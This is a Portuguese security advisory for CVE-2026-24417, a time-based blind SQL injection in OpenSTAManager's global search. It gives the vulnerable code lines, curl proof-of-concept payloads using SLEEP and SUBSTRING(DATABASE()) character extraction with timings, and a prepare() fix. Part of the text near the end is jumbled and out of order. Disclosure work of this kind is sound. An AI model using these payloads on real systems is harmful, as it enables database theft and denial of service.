
CVE-2026-24417 - O OpenSTAManager tem uma Injeção SQL Cega Baseada em Tempo com Negação de Serviço Amplificada
| Campo | Detalhes |
|---|---|
| ID do CVE | CVE-2026-24417 |
| Severidade | HIGH |
| Aviso | Ver Aviso |
| Descoberto por | Lukasz Rybak |
Vulnerabilidade crítica de Injeção de SQL Cega Baseada em Tempo afetando múltiplos módulos de pesquisa no OpenSTAManager v2.9.8 permite que atacantes autenticados extraiam conteúdos sensíveis do banco de dados, incluindo hashes de senhas, dados de clientes e registros financeiros, por meio de ataques de inferência booleana baseados em tempo com execução amplificada em mais de 10 módulos.
Status: ✅ Confirmado e testado em instância ativa (v2.9.8)
Parâmetro Vulnerável: term (GET)
Endpoint Afetado: /ajax_search.php
Módulos Afetados: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi
O OpenSTAManager v2.9.8 contém uma vulnerabilidade crítica de Injeção de SQL Cega Baseada em Tempo na funcionalidade de pesquisa global. O aplicativo não sanitiza corretamente o parâmetro term antes de usá-lo em cláusulas SQL LIKE em vários manipuladores de pesquisa específicos de módulos, permitindo que atacantes injetem comandos SQL arbitrários e extraiam dados sensíveis por meio de inferência booleana baseada em tempo.
Cadeia de Vulnerabilidade:
Ponto de Entrada: /ajax_search.php (Linhas 30-31)
$term = get('term');
$term = str_replace('/', '\\/', $term);
O parâmetro $term passa por sanitização mínima (apenas substituição de barras).
Distribuição: /src/AJAX.php::search() (Linhas 159-161)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
O $term não sanitizado é passado para todos os manipuladores de pesquisa específicos de módulos.
Execução: /src/AJAX.php::getSearchResults() (Linha 373)
require $file;
O arquivo search.php de cada módulo é incluído com a variável $term no escopo.
Consultas SQL Vulneráveis: Vários módulos concatenam diretamente sem
Todos os Arquivos Afetados (10+ instâncias vulneráveis):
/modules/articoli/ajax/search.php - Linha 51 (EXEMPLO PRINCIPAL)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
Impacto: Concatenação direta sem prepare(), permite injeção de SQL completa.
/modules/ordini/ajax/search.php - Linhas 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
/modules/ddt/ajax/search.php - Linhas 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/fatture/ajax/search.php - Linhas 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
Devidamente Sanitizados (NÃO vulneráveis):
/modules/contratti/ajax/search.php - Usa prepare() corretamente/modules/automezzi/ajax/search.php - Usa prepare() corretamenteNota: A vulnerabilidade tem execução amplificada - uma única solicitação maliciosa dispara injeção de SQL em TODOS os módulos vulneráveis simultaneamente, fazendo com que ataques baseados em tempo sejam executados 10+ vezes por solicitação, multiplicando o atraso e levando a erros 504 Gateway Time-out, conforme observado na instância de demonstração ao vivo.
Passo 1: Login
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Passo 2: Verificar a Vulnerabilidade (SLEEP Baseado em Tempo)
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s
# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s
Passo 3: Extração de Dados - Nome do Banco de Dados
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 170.32s
# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 0m0.30s
Usuários Afetados: Todos os usuários autenticados com acesso à funcionalidade de pesquisa global.
Correção Recomendada:
Substitua todas as instâncias de concatenação direta de $term por prepare():
ANTES (Vulnerável):
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
DEPOIS (Corrigido):
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
Aplique esta correção a TODOS os arquivos afetados:
/modules/articoli/ajax/search.php - Linha 51/modules/ordini/ajax/search.php - Linhas 43, 47, 79/modules/ddt/ajax/search.php - Linhas 43, 47, 83/modules/fatture/ajax/search.php - Linhas 45, 49, 85/modules/preventivi/ajax/search.php - Linhas 45, 49, 83/modules/anagrafiche/ajax/search.php - Linhas 62, 107, 162/modules/impianti/ajax/search.php - Linha 46Este CVE foi divulgado de forma responsável seguindo práticas coordenadas de divulgação de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.
$termprepare()/modules/preventivi/ajax/search.php - Linhas 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/anagrafiche/ajax/search.php - Linhas 62, 107, 162
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/impianti/ajax/search.php - Linha 46
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';